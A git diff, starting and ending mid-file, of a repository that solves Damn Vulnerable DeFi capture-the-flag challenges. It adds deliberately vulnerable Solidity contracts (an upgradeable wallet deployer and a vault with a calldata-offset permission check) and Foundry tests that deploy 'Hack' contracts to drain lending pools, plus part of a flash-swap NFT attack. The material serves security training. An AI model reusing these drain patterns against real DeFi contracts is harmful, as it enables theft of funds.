+ 0.3% to the pair contract uint256 amountToPayBack = NFT_PRICE * 1004 / 1000; weth.deposit{ value: amountToPayBack }(); weth.transfer(address(pair), amountToPayBack); + console2.log("Hacker fee", address(this).balance, address(this).balance / 1e17); - // // 5. Send NFTs to recovery contract so we can get the bounty + // 5. Send NFTs to recovery contract so we can get the bounty for (uint256 i; i < tokens.length; i++) { - nft.safeTransferFrom(address(this), recoveryContract, i, abi.encode(player)); + console2.log("Hacker safeTransferFrom", i, address(this).balance, address(this).balance / 1e17); + nft.safeTransferFrom(address(this), recoveryContract, i, abi.encode(address(this))); } } - function onERC721Received(address, address, uint256, bytes memory) external pure returns (bytes4) { + function onERC721Received(address, address, uint256 id, bytes memory) external view returns (bytes4) { + console2.log("Hacker onERC721Received", id, address(this).balance, address(this).balance / 1e17); return IERC721Receiver.onERC721Received.selector; } diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/11.Backdoor.sol b/contracts/CTF/Damn-Vulnerable-DeFi/11.Backdoor.sol index ab2e549..8994a5f 100644 --- a/contracts/CTF/Damn-Vulnerable-DeFi/11.Backdoor.sol +++ b/contracts/CTF/Damn-Vulnerable-DeFi/11.Backdoor.sol @@ -177,7 +177,6 @@ contract BackdoorHack { maliciousApprove = new MaliciousApprove(); // Create a new safe through the factory for every user - bytes memory initializer; address[] memory owners = new address[](1); address wallet; diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/13.Wallet-Mining.sol b/contracts/CTF/Damn-Vulnerable-DeFi/13.Wallet-Mining.sol index 15a8c0d..f36e78b 100644 --- a/contracts/CTF/Damn-Vulnerable-DeFi/13.Wallet-Mining.sol +++ b/contracts/CTF/Damn-Vulnerable-DeFi/13.Wallet-Mining.sol @@ -1,2 +1,116 @@ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; + +import { IERC20 } from "@openzeppelin/contracts-v4.7.1/token/ERC20/IERC20.sol"; +import { Initializable } from "@openzeppelin/contracts-upgradeable-v4.7.1/proxy/utils/Initializable.sol"; +import { OwnableUpgradeable } from "@openzeppelin/contracts-upgradeable-v4.7.1/access/OwnableUpgradeable.sol"; +import { UUPSUpgradeable } from "@openzeppelin/contracts-upgradeable-v4.7.1/proxy/utils/UUPSUpgradeable.sol"; + +/** + * @title AuthorizerUpgradeable + * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) + */ + +contract AuthorizerUpgradeable is Initializable, OwnableUpgradeable, UUPSUpgradeable { + mapping(address => mapping(address => uint256)) private wards; + + event Rely(address indexed usr, address aim); + + function init(address[] memory _wards, address[] memory _aims) external initializer { + __Ownable_init(); + __UUPSUpgradeable_init(); + + for (uint256 i = 0; i < _wards.length;) { + _rely(_wards[i], _aims[i]); + unchecked { + i++; + } + } + } + + function _rely(address usr, address aim) private { + wards[usr][aim] = 1; + emit Rely(usr, aim); + } + + function can(address usr, address aim) external view returns (bool) { + return wards[usr][aim] == 1; + } + + function upgradeToAndCall(address imp, bytes memory wat) external payable override { + _authorizeUpgrade(imp); + _upgradeToAndCallUUPS(imp, wat, true); + } + + function _authorizeUpgrade(address imp) internal override onlyOwner { } +} + +interface IGnosisSafeProxyFactory { + function createProxy(address masterCopy, bytes calldata data) external returns (address); +} + +/** + * @title WalletDeployer + * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) + * @notice A contract that allows deployers of Gnosis Safe wallets (v1.1.1) to be rewarded. + * Includes an optional authorization mechanism to ensure only expected accounts + * are rewarded for certain deployments. + */ +contract WalletDeployer { + // Addresses of the Gnosis Safe Factory and Master Copy v1.1.1 + IGnosisSafeProxyFactory public constant fact = IGnosisSafeProxyFactory(0x76E2cFc1F5Fa8F6a5b3fC4c8F4788F0116861F9B); + address public constant copy = 0x34CfAC646f301356fAa8B21e94227e3583Fe3F5F; + + uint256 public constant pay = 1 ether; + address public immutable chief = msg.sender; + address public immutable gem; + + address public mom; + + error Boom(); + + constructor(address _gem) { + gem = _gem; + } + + /** + * @notice Allows the chief to set an authorizer contract. + * Can only be called once. TODO: double check. + */ + function rule(address _mom) external { + if (msg.sender != chief || _mom == address(0) || mom != address(0)) { + revert Boom(); + } + mom = _mom; + } + + /** + * @notice Allows the caller to deploy a new Safe wallet and receive a payment in return. + * If the authorizer is set, the caller must be authorized to execute the deployment. + * @param wat initialization data to be passed to the Safe wallet + * @return aim address of the created proxy + */ + function drop(bytes memory wat) external returns (address aim) { + aim = fact.createProxy(copy, wat); + if (mom != address(0) && !can(msg.sender, aim)) { + revert Boom(); + } + IERC20(gem).transfer(msg.sender, pay); + } + + // TODO(0xth3g450pt1m1z0r) put some comments + function can(address u, address a) public view returns (bool) { + assembly { + let m := sload(0) + if iszero(extcodesize(m)) { return(0, 0) } + let p := mload(0x40) + mstore(0x40, add(p, 0x44)) + mstore(p, shl(0xe0, 0x4538c4eb)) + mstore(add(p, 0x04), u) + mstore(add(p, 0x24), a) + if iszero(staticcall(gas(), m, p, 0x44, p, 0x20)) { return(0, 0) } + if and(not(iszero(returndatasize())), iszero(mload(p))) { return(0, 0) } + } + return true; + } +} diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/14.Puppet-V3.sol b/contracts/CTF/Damn-Vulnerable-DeFi/14.Puppet-V3.sol index 15a8c0d..91664f3 100644 --- a/contracts/CTF/Damn-Vulnerable-DeFi/14.Puppet-V3.sol +++ b/contracts/CTF/Damn-Vulnerable-DeFi/14.Puppet-V3.sol @@ -1,2 +1,6 @@ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; + +import { IERC20Minimal } from "@uniswap/v3-core/contracts/interfaces/IERC20Minimal.sol"; +import { IUniswapV3Pool } from "@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol"; +import { TransferHelper } from "@uniswap/v3-core/contracts/libraries/TransferHelper.sol"; diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/15.ABI-Smuggling.sol b/contracts/CTF/Damn-Vulnerable-DeFi/15.ABI-Smuggling.sol index 15a8c0d..7904704 100644 --- a/contracts/CTF/Damn-Vulnerable-DeFi/15.ABI-Smuggling.sol +++ b/contracts/CTF/Damn-Vulnerable-DeFi/15.ABI-Smuggling.sol @@ -1,2 +1,131 @@ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; + +import "@solady/utils/SafeTransferLib.sol"; +import { Address } from "@openzeppelin/contracts-v4.7.1/utils/Address.sol"; +import { IERC20 } from "@openzeppelin/contracts-v4.7.1/token/ERC20/IERC20.sol"; +import { ReentrancyGuard } from "@openzeppelin/contracts-v4.7.1/security/ReentrancyGuard.sol"; + +/** + * @title AuthorizedExecutor + * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) + */ + +abstract contract AuthorizedExecutor is ReentrancyGuard { + using Address for address; + + bool public initialized; + + // action identifier => allowed + mapping(bytes32 => bool) public permissions; + + error NotAllowed(); + error AlreadyInitialized(); + + event Initialized(address who, bytes32[] ids); + + /** + * @notice Allows first caller to set permissions for a set of action identifiers + * @param ids array of action identifiers + */ + function setPermissions(bytes32[] memory ids) external { + if (initialized) { + revert AlreadyInitialized(); + } + + for (uint256 i = 0; i < ids.length;) { + unchecked { + permissions[ids[i]] = true; + ++i; + } + } + initialized = true; + + emit Initialized(msg.sender, ids); + } + + /** + * @notice Performs an arbitrary function call on a target contract, if the caller is authorized to do so. + * @param target account where the action will be executed + * @param actionData abi-encoded calldata to execute on the target + */ + function execute(address target, bytes calldata actionData) external nonReentrant returns (bytes memory) { + // Read the 4-bytes selector at the beginning of `actionData` + bytes4 selector; + uint256 calldataOffset = 4 + 32 * 3; // calldata position where `actionData` begins + assembly { + selector := calldataload(calldataOffset) + } + + if (!permissions[getActionId(selector, msg.sender, target)]) { + revert NotAllowed(); + } + + _beforeFunctionCall(target, actionData); + + return target.functionCall(actionData); + } + + function _beforeFunctionCall(address target, bytes memory actionData) internal virtual; + + function getActionId(bytes4 selector, address executor, address target) public pure returns (bytes32) { + return keccak256(abi.encodePacked(selector, executor, target)); + } +} + +/** + * @title SelfAuthorizedVault + * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) + */ +contract SelfAuthorizedVault is AuthorizedExecutor { + uint256 public constant WITHDRAWAL_LIMIT = 1 ether; + uint256 public constant WAITING_PERIOD = 15 days; + + uint256 private _lastWithdrawalTimestamp = block.timestamp; + + error TargetNotAllowed(); + error CallerNotAllowed(); + error InvalidWithdrawalAmount(); + error WithdrawalWaitingPeriodNotEnded(); + + modifier onlyThis() { + if (msg.sender != address(this)) { + revert CallerNotAllowed(); + } + _; + } + + /** + * @notice Allows to send a limited amount of tokens to a recipient every now and then + * @param token address of the token to withdraw + * @param recipient address of the tokens' recipient + * @param amount amount of tokens to be transferred + */ + function withdraw(address token, address recipient, uint256 amount) external onlyThis { + if (amount > WITHDRAWAL_LIMIT) { + revert InvalidWithdrawalAmount(); + } + + if (block.timestamp <= _lastWithdrawalTimestamp + WAITING_PERIOD) { + revert WithdrawalWaitingPeriodNotEnded(); + } + + _lastWithdrawalTimestamp = block.timestamp; + + SafeTransferLib.safeTransfer(token, recipient, amount); + } + + function sweepFunds(address receiver, IERC20 token) external onlyThis { + SafeTransferLib.safeTransfer(address(token), receiver, token.balanceOf(address(this))); + } + + function getLastWithdrawalTimestamp() external view returns (uint256) { + return _lastWithdrawalTimestamp; + } + + function _beforeFunctionCall(address target, bytes memory) internal view override { + if (target != address(this)) { + revert TargetNotAllowed(); + } + } +} diff --git a/foundry/test/CTF/Damn-Vulnerable-DeFi/01.Unstoppable.t.sol b/foundry/test/CTF/Damn-Vulnerable-DeFi/01.Unstoppable.t.sol index 1aac0f5..3d83df2 100644 --- a/foundry/test/CTF/Damn-Vulnerable-DeFi/01.Unstoppable.t.sol +++ b/foundry/test/CTF/Damn-Vulnerable-DeFi/01.Unstoppable.t.sol @@ -23,10 +23,12 @@ contract Challenge_1_Unstoppable_Test is Test { uint256 private INITIAL_PLAYER_TOKEN_BALANCE = 10 ether; function setUp() public { + vm.label(deployer, "deployer"); + vm.label(feeRecipient, "feeRecipient"); + vm.label(player, "player"); vm.startPrank(deployer); _before(); vm.stopPrank(); - vm.startPrank(player); } diff --git a/foundry/test/CTF/Damn-Vulnerable-DeFi/05.The-Rewarder.t.sol b/foundry/test/CTF/Damn-Vulnerable-DeFi/05.The-Rewarder.t.sol index 279d06b..007a55e 100644 --- a/foundry/test/CTF/Damn-Vulnerable-DeFi/05.The-Rewarder.t.sol +++ b/foundry/test/CTF/Damn-Vulnerable-DeFi/05.The-Rewarder.t.sol @@ -22,7 +22,6 @@ contract Challenge_5_The_Rewarder_Test is Test { using FixedPointMathLib for uint256; address private deployer = address(1); - address private feeRecipient = address(2); address private player = address(2333); address private alice = address(5); @@ -40,6 +39,12 @@ contract Challenge_5_The_Rewarder_Test is Test { uint256 private TOKENS_IN_LENDER_POOL = 1_000_000 ether; function setUp() public { + vm.label(deployer, "deployer"); + vm.label(player, "player"); + vm.label(alice, "alice"); + vm.label(bob, "bob"); + vm.label(charlie, "charlie"); + vm.label(david, "david"); _before(); } diff --git a/foundry/test/CTF/Damn-Vulnerable-DeFi/06.Selfie.t.sol b/foundry/test/CTF/Damn-Vulnerable-DeFi/06.Selfie.t.sol index f9fa543..3b31eb6 100644 --- a/foundry/test/CTF/Damn-Vulnerable-DeFi/06.Selfie.t.sol +++ b/foundry/test/CTF/Damn-Vulnerable-DeFi/06.Selfie.t.sol @@ -32,10 +32,6 @@ contract Challenge_6_Selfie_Test is Test { function _before() public { /* SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */ - // address payable[] memory users = util.createUsers(2); - // deployer = users[0]; - // player = users[1]; - token = new DamnValuableTokenSnapshot(TOKEN_INITIAL_SUPPLY); governance = new SimpleGovernance(address(token)); diff --git a/foundry/test/CTF/Damn-Vulnerable-DeFi/08.Puppet.t.sol b/foundry/test/CTF/Damn-Vulnerable-DeFi/08.Puppet.t.sol index 5f23dcb..30c8aa4 100644 --- a/foundry/test/CTF/Damn-Vulnerable-DeFi/08.Puppet.t.sol +++ b/foundry/test/CTF/Damn-Vulnerable-DeFi/08.Puppet.t.sol @@ -1,45 +1,121 @@ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; -import { Test } from "@dev/forge-std/src/Test.sol"; +import { PRBTest } from "@prb/test/PRBTest.sol"; +import { console2 } from "@dev/forge-std/src/console2.sol"; import { DamnValuableToken } from "@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnValuableToken.sol"; +import { + PuppetPool, + IUniswapV1Exchange, + IUniswapV1Factory, + PuppetHack +} from "@contracts/CTF/Damn-Vulnerable-DeFi/08.Puppet.sol"; + /* - forge test --match-path foundry/test/CTF/Damn-Vulnerable-DeFi/10.Free-Rider.t.sol -vvvvv + forge test --match-path foundry/test/CTF/Damn-Vulnerable-DeFi/08.Puppet.t.sol -vvvvv */ -contract Challenge_8_Puppet_Test is Test { - // hacking attack address +contract Challenge_8_Puppet_Test is PRBTest { address private deployer = address(1); - address private feeRecipient = address(2); - address private player = address(2333); + address private player = address(2); + address private player2 = address(3); + + uint256 private UNISWAP_INITIAL_TOKEN_RESERVE = 10 ether; + uint256 private UNISWAP_INITIAL_ETH_RESERVE = 10 ether; + + uint256 private PLAYER_INITIAL_TOKEN_BALANCE = 1000 ether; + uint256 private PLAYER_INITIAL_ETH_BALANCE = 25 ether; + + uint256 private POOL_INITIAL_TOKEN_BALANCE = 100_000 ether; + DamnValuableToken public token; + DamnValuableToken public exchangeTemplate; + IUniswapV1Factory public uniswapFactory; + IUniswapV1Exchange public uniswapExchange; + PuppetPool public lendingPool; function setUp() public { - vm.startPrank(deployer); + vm.createSelectFork({ urlOrAlias: "mainnet" }); + vm.label(deployer, "deployer"); + vm.label(player, "player"); + vm.label(player2, "player2"); + vm.deal(deployer, type(uint256).max); + vm.startPrank(deployer); _before(); vm.stopPrank(); } function _before() public { /* SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */ + + // Deploy token to be traded in Uniswap token = new DamnValuableToken(); + + uniswapFactory = IUniswapV1Factory(0xc0a47dFe034B400B47bDaD5FecDa2621de6c4d95); + vm.label(0xc0a47dFe034B400B47bDaD5FecDa2621de6c4d95, "UniswapV1Factory"); + // Create a new exchange for the token, and retrieve the deployed exchange's address + uniswapExchange = IUniswapV1Exchange(uniswapFactory.createExchange(address(token))); + vm.label(address(uniswapExchange), "UniswapV1Exchange"); + + vm.deal(player, PLAYER_INITIAL_ETH_BALANCE); + + // Deploy the lending pool + lendingPool = new PuppetPool(address(token), address(uniswapExchange)); + + assertEq(player.balance, PLAYER_INITIAL_ETH_BALANCE, ""); + + // Add initial token and ETH liquidity to the pool + token.approve(address(uniswapExchange), UNISWAP_INITIAL_TOKEN_RESERVE); + uniswapExchange.addLiquidity{ value: UNISWAP_INITIAL_ETH_RESERVE }( + 0, UNISWAP_INITIAL_TOKEN_RESERVE, block.timestamp * 2 + ); + + // Ensure Uniswap exchange is working as expected + // TODO ... + // uniswapExchange.getTokenToEthInputPrice(10 ether); + + // Setup initial token balances of pool and player accounts + token.transfer(player, PLAYER_INITIAL_TOKEN_BALANCE); + token.transfer(address(lendingPool), POOL_INITIAL_TOKEN_BALANCE); + + // Ensure correct setup of pool. For example, to borrow 1 need to deposit 2 + assertEq(lendingPool.calculateDepositRequired(10 ether), 10 ether * 2, ""); + assertEq(lendingPool.calculateDepositRequired(POOL_INITIAL_TOKEN_BALANCE), POOL_INITIAL_TOKEN_BALANCE * 2, ""); } function test_Exploit() public { /* START CODE YOUR SOLUTION HERE */ + vm.startPrank(player2); + PuppetHack hackInst = new PuppetHack(address(token), address(uniswapExchange), address(lendingPool), player); + vm.stopPrank(); + + vm.startPrank(player); + token.transfer(address(hackInst), PLAYER_INITIAL_TOKEN_BALANCE); + hackInst.attack{ value: 20 ether }(); - // ... + // token.transfer(address(hackInst), token.balanceOf(player2)); /* END CODE YOUR SOLUTION */ - vm.startPrank(deployer); + vm.stopPrank(); _after(); } function _after() public { /* SUCCESS CONDITIONS - NO NEED TO CHANGE ANYTHING HERE */ - assertEq(token.totalSupply(), type(uint256).max, "CHECK totalSupply()"); + console2.log("START SUCCESS CONDITIONS VERIFY"); + vm.startPrank(deployer); + + // Player executed a single transaction + // expect(await ethers.provider.getTransactionCount(player.address)).to.eq(1); + + // Player has taken all tokens from the pool + assertEq(token.balanceOf(address(lendingPool)), 0, "lendingPool has token"); + + // Player has taken all tokens from the pool + assertGte(token.balanceOf(player), POOL_INITIAL_TOKEN_BALANCE, "player not get all token"); + vm.stopPrank(); } } diff --git a/foundry/test/CTF/Damn-Vulnerable-DeFi/09.Puppet-V2.t.sol b/foundry/test/CTF/Damn-Vulnerable-DeFi/09.Puppet-V2.t.sol new file mode 100644 index 0000000..2e9d473 --- /dev/null +++ b/foundry/test/CTF/Damn-Vulnerable-DeFi/09.Puppet-V2.t.sol @@ -0,0 +1,106 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import { PRBTest } from "@prb/test/PRBTest.sol"; +import { DamnValuableToken } from "@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnValuableToken.sol"; +import { PuppetV2Pool, PuppetV2Hack } from "@contracts/CTF/Damn-Vulnerable-DeFi/09.Puppet-V2.sol"; + +import { IWETH } from "@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/WETH9.sol"; +import { IUniswapV2Router02 } from "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol"; +import { IUniswapV2Factory } from "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol"; +import { IUniswapV2Pair } from "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol"; + +/* + forge test --match-path foundry/test/CTF/Damn-Vulnerable-DeFi/09.Puppet-V2.t.sol -vvvvv +*/ + +contract Challenge_9_Puppet_V2_Test is PRBTest { + // hacking attack address + address private deployer = address(1); + address private player = address(2333); + + // Uniswap v2 exchange will start with 100 tokens and 10 WETH in liquidity + uint256 private UNISWAP_INITIAL_TOKEN_RESERVE = 100 ether; + uint256 private UNISWAP_INITIAL_WETH_RESERVE = 10 ether; + // @audit-info 1DVT = ~0.1 ETH + // @audit-info After we dump DVT: 1DVT = ~0.001 ETH + + uint256 private PLAYER_INITIAL_TOKEN_BALANCE = 10_000 ether; + uint256 private PLAYER_INITIAL_ETH_BALANCE = 20 ether; + + uint256 private POOL_INITIAL_TOKEN_BALANCE = 1_000_000 ether; + + IWETH private weth; + DamnValuableToken public token; + PuppetV2Pool private lendingPool; + IUniswapV2Pair private uniswapPair; + IUniswapV2Factory private uniswapFactory; + IUniswapV2Router02 private uniswapRouter; + + function setUp() public { + vm.createSelectFork({ urlOrAlias: "mainnet" }); + vm.startPrank(deployer); + vm.deal(deployer, type(uint256).max); + _before(); + vm.stopPrank(); + } + + function _before() public { + /* SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */ + vm.deal(player, PLAYER_INITIAL_ETH_BALANCE); + assertEq(player.balance, PLAYER_INITIAL_ETH_BALANCE, ""); + token = new DamnValuableToken(); + + // Deploy Uniswap Factory and Router + // https://etherscan.io/address/0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D#code + uniswapFactory = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f); + // https://etherscan.io/address/0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f#code + uniswapRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); + + // Deploy WETH + // https://etherscan.io/token/0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2#code + weth = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); + + // Approve tokens, and then create Uniswap v2 pair against WETH and add liquidity + // The function takes care of deploying the pair automatically + token.approve(address(uniswapRouter), UNISWAP_INITIAL_TOKEN_RESERVE); + uniswapRouter.addLiquidityETH{ value: UNISWAP_INITIAL_WETH_RESERVE }( + address(token), UNISWAP_INITIAL_TOKEN_RESERVE, 0, 0, deployer, block.timestamp * 2 + ); + + // Get a reference to the created Uniswap pair + uniswapPair = IUniswapV2Pair(uniswapFactory.getPair(address(token), address(weth))); + // Deploy the lending pool + lendingPool = new PuppetV2Pool(address(weth),address(token),address(uniswapPair),address(uniswapFactory)); + + // Setup initial token balances of pool and player accounts + token.transfer(player, PLAYER_INITIAL_TOKEN_BALANCE); + token.transfer(address(lendingPool), POOL_INITIAL_TOKEN_BALANCE); + + // Check pool's been correctly setup + assertEq(lendingPool.calculateDepositOfWETHRequired(1 ether), 0.3 ether, ""); + assertEq(lendingPool.calculateDepositOfWETHRequired(POOL_INITIAL_TOKEN_BALANCE), 300_000 ether, ""); + } + + function test_Exploit() public { + vm.startPrank(player); + /* START CODE YOUR SOLUTION HERE */ + + PuppetV2Hack hackInst = + new PuppetV2Hack(address(lendingPool), address(uniswapRouter), address(token), address(uniswapPair)); + token.transfer(address(hackInst), PLAYER_INITIAL_TOKEN_BALANCE); + hackInst.attack{ value: PLAYER_INITIAL_ETH_BALANCE - 0.4 ether }(); + vm.stopPrank(); + + /* END CODE YOUR SOLUTION */ + _after(); + } + + function _after() public { + /* SUCCESS CONDITIONS - NO NEED TO CHANGE ANYTHING HERE */ + + // Player has taken all tokens from the pool + assertEq(token.balanceOf(address(lendingPool)), 0, "lendingPool has token"); + assertGte(token.balanceOf(player), POOL_INITIAL_TOKEN_BALANCE, "player not get all token"); + } +} diff --git a/foundry/test/CTF/Damn-Vulnerable-DeFi/10.Free-Rider.t.sol b/foundry/test/CTF/Damn-Vulnerable-DeFi/10.Free-Rider.t.sol index 032cdd8..475ed31 100644 --- a/foundry/test/CTF/Damn-Vulnerable-DeFi/10.Free-Rider.t.sol +++ b/foundry/test/CTF/Damn-Vulnerable-DeFi/10.Free-Rider.t.sol @@ -1,14 +1,15 @@ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; +import { console2 } from "@dev/forge-std/src/console2.sol"; import { PRBTest } from "@prb/test/PRBTest.sol"; +import { IWETH } from "@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/WETH9.sol"; import { DamnValuableNFT } from "@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnValuableNFT.sol"; import { DamnValuableToken } from "@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnValuableToken.sol"; import { FreeRiderNFTMarketplace, FreeRiderRecovery, - FreeRiderHack, - IWETH + FreeRiderHack } from "@contracts/CTF/Damn-Vulnerable-DeFi/10.Free-Rider.sol"; import { IUniswapV2Router02 } from "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol"; import { IUniswapV2Factory } from "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol"; @@ -50,6 +51,9 @@ contract Challenge_10_Free_Rider_Test is PRBTest { function setUp() public { // vm.startPrank(deployer); vm.createSelectFork({ urlOrAlias: "mainnet" }); + vm.label(deployer, "deployer"); + vm.label(devs, "devs"); + vm.label(player, "player"); vm.deal(deployer, type(uint256).max); vm.deal(devs, type(uint256).max); _before(); @@ -58,7 +62,7 @@ contract Challenge_10_Free_Rider_Test is PRBTest { function _before() public { /* SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */ - + vm.startPrank(deployer); // Player starts with limited ETH balance vm.deal(player, PLAYER_INITIAL_ETH_BALANCE); assertEq(player.balance, PLAYER_INITIAL_ETH_BALANCE); @@ -68,12 +72,14 @@ contract Challenge_10_Free_Rider_Test is PRBTest { // Deploy token to be traded against WETH in Uniswap v2 token = new DamnValuableToken(); - + vm.label(address(token), "token"); // Deploy Uniswap Factory and Router // https://etherscan.io/address/0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D#code uniswapFactory = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f); + vm.label(address(token), "uniswapFactory"); // https://etherscan.io/address/0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f#code uniswapRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); + vm.label(address(token), "uniswapRouter"); // Approve tokens, and then create Uniswap v2 pair against WETH and add liquidity // The function takes care of deploying the pair automatically token.approve(address(uniswapRouter), UNISWAP_INITIAL_TOKEN_RESERVE); @@ -83,15 +89,13 @@ contract Challenge_10_Free_Rider_Test is PRBTest { // Get a reference to the created Uniswap pair uniswapPair = IUniswapV2Pair(uniswapFactory.getPair(address(token), address(weth))); - + vm.label(address(uniswapPair), "uniswapPair"); assertEq(uniswapPair.token0(), address(token), ""); assertEq(uniswapPair.token1(), address(weth), ""); assertGt(uniswapPair.balanceOf(deployer), 0, ""); - vm.startPrank(deployer); // Deploy the marketplace and get the associated ERC721 token // The marketplace will automatically mint AMOUNT_OF_NFTS to the deployer (see marketplace = new FreeRiderNFTMarketplace{ value: MARKETPLACE_INITIAL_ETH_BALANCE }(AMOUNT_OF_NFTS); - // Deploy NFT contract nft = DamnValuableNFT(marketplace.token()); assertEq(nft.owner(), address(0), ""); @@ -108,7 +112,7 @@ contract Challenge_10_Free_Rider_Test is PRBTest { _offerManyPrices.push(NFT_PRICE); } marketplace.offerMany(_offerManyTokenIds, _offerManyPrices); - + vm.stopPrank(); // Deploy devs' contract, adding the player as the beneficiary // mock player => tx.origin vm.startPrank(devs); diff --git a/foundry/test/CTF/Damn-Vulnerable-DeFi/13.Wallet-Mining.t.sol b/foundry/test/CTF/Damn-Vulnerable-DeFi/13.Wallet-Mining.t.sol index 29e8dc1..48de214 100644 --- a/foundry/test/CTF/Damn-Vulnerable-DeFi/13.Wallet-Mining.t.sol +++ b/foundry/test/CTF/Damn-Vulnerable-DeFi/13.Wallet-Mining.t.sol @@ -3,6 +3,7 @@ pragma solidity ^0.8.0; import { Test } from "@dev/forge-std/src/Test.sol"; import { DamnValuableToken } from "@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnValuableToken.sol"; +import { WalletDeployer } from "@contracts/CTF/Damn-Vulnerable-DeFi/13.Wallet-Mining.sol"; /* forge test --match-path foundry/test/CTF/Damn-Vulnerable-DeFi/13.Wallet-Mining.t.sol -vvvvv @@ -14,6 +15,7 @@ contract Challenge_13_Wallet_Mining_Test is Test { address private feeRecipient = address(2); address private player = address(2333); DamnValuableToken public token; + WalletDeployer private walletDeployer; function setUp() public { vm.startPrank(deployer); @@ -25,6 +27,7 @@ contract Challenge_13_Wallet_Mining_Test is Test { function _before() public { /* SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */ token = new DamnValuableToken(); + walletDeployer = new WalletDeployer(address(token)); } function test_Exploit() public { diff --git a/foundry/test/CTF/Damn-Vulnerable-DeFi/15.ABI-Smuggling.t.sol b/foundry/test/CTF/Damn-Vulnerable-DeFi/15.ABI-Smuggling.t.sol index b516b9a..563e236 100644 --- a/foundry/test/CTF/Damn-Vulnerable-DeFi/15.ABI-Smuggling.t.sol +++ b/foundry/test/CTF/Damn-Vulnerable-DeFi/15.ABI-Smuggling.t.sol @@ -1,20 +1,26 @@ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; -import { Test } from "@dev/forge-std/src/Test.sol"; -// import { Vm } from "forge-std/Vm.sol"; +import { PRBTest } from "@prb/test/PRBTest.sol"; import { DamnValuableToken } from "@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnValuableToken.sol"; +import { SelfAuthorizedVault, IERC20 } from "@contracts/CTF/Damn-Vulnerable-DeFi/15.ABI-Smuggling.sol"; /* forge test --match-path foundry/test/CTF/Damn-Vulnerable-DeFi/15.ABI-Smuggling.t.sol -vvvvv */ -contract Challenge_15_ABI_Smuggling_Test is Test { +contract Challenge_15_ABI_Smuggling_Test is PRBTest { // hacking attack address address private deployer = address(1); - address private feeRecipient = address(2); + address private recovery = address(2); address private player = address(2333); + + uint256 private VAULT_TOKEN_BALANCE = 1_000_000 ether; + DamnValuableToken public token; + SelfAuthorizedVault public vault; + + bytes32[] private _initPermissions; function setUp() public { vm.startPrank(deployer); @@ -25,22 +31,51 @@ contract Challenge_15_ABI_Smuggling_Test is Test { function _before() public { /* SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */ + + // Deploy Damn Valuable Token contract token = new DamnValuableToken(); + + // Deploy Vault + vault = new SelfAuthorizedVault(); + + // Set permissions + bytes32 deployerPermission = vault.getActionId(bytes4(bytes("0x85fb709d")), deployer, address(vault)); + bytes32 playerPermission = vault.getActionId(bytes4(bytes("0xd9caed12")), player, address(vault)); + _initPermissions.push(deployerPermission); + _initPermissions.push(playerPermission); + vault.setPermissions(_initPermissions); + assertTrue(vault.permissions(deployerPermission), ""); + assertTrue(vault.permissions(playerPermission), ""); + + // Make sure Vault is initialized + assertTrue(vault.initialized(), ""); + + // Deposit tokens into the vault + token.transfer(address(vault), VAULT_TOKEN_BALANCE); + assertEq(token.balanceOf(address(vault)), VAULT_TOKEN_BALANCE, ""); + assertEq(token.balanceOf(player), 0, ""); + + // Cannot call Vault directly + vm.expectRevert(SelfAuthorizedVault.CallerNotAllowed.selector); + vault.sweepFunds(deployer, IERC20(address(token))); + vm.startPrank(player); + vm.expectRevert(SelfAuthorizedVault.CallerNotAllowed.selector); + vault.withdraw(address(token), player, 1 ether); } function test_Exploit() public { + vm.startPrank(player); /* START CODE YOUR SOLUTION HERE */ - // ... - /* END CODE YOUR SOLUTION */ - vm.startPrank(deployer); - _after(); + vm.stopPrank(); + // _after(); } function _after() public { /* SUCCESS CONDITIONS - NO NEED TO CHANGE ANYTHING HERE */ - assertEq(token.totalSupply(), type(uint256).max, "CHECK totalSupply()"); - vm.stopPrank(); + assertEq(token.balanceOf(address(vault)), 0, ""); + assertEq(token.balanceOf(player), 0, ""); + 